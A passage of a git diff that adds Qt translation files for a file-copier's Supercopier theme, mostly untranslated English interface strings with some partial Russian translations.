+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/pt/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/pt/translation.ts
new file mode 100644
index 0000000..78e326c
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/pt/translation.ts
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/ru/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/ru/translation.ts
new file mode 100644
index 0000000..a5a373b
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/ru/translation.ts
@@ -0,0 +1,336 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="ru" sourcelanguage="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation>Файл %1/%2, размер: %3/%4</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished">Копировать список</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished">Не закрывать, если найдены ошибки</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished">Никогда не закрывать</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished">Всегда закрывайте</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation>Имя файла, 0KB</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished">Не закрывать, если найдены ошибки</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished">Никогда не закрывать</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished">Всегда закрывайте</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation>С:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation>к:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation>больше</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation>пауза</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation>пропускать</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation>отменить</translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">Предельная скорость копирования по адресу:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation>предыдущий</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation>следующий</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation>интерфейс</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation>Добавить файл</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation>Добавить папку</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation>Перемещение файла(ов)</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation>Перемещение папки</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation>Копировать файл (ы)</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation>Копировать папку</translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished">Показать скорости в качестве основной информации</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>At the end of the copy: </source>
+ <translation type="obsolete">В конце копии: </translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">Предельная скорость копирования по адресу:</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"> Кб/с</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/th/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/th/translation.ts
new file mode 100644
index 0000000..78e326c
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/th/translation.ts
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
